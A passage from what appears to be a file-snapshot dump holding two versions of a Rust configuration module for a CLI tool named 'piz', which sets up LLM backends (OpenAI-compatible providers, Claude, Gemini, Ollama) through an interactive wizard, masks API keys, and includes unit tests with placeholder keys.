#[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(dirs::home_dir)\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "40ad1a9abaea5a235ebf0fb7f70ad5fbfa61ce58": {"t": 1785760767.278497, "n": 17346, "h": "84b817ee5a9642f1", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(|| dirs::home_dir())\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, 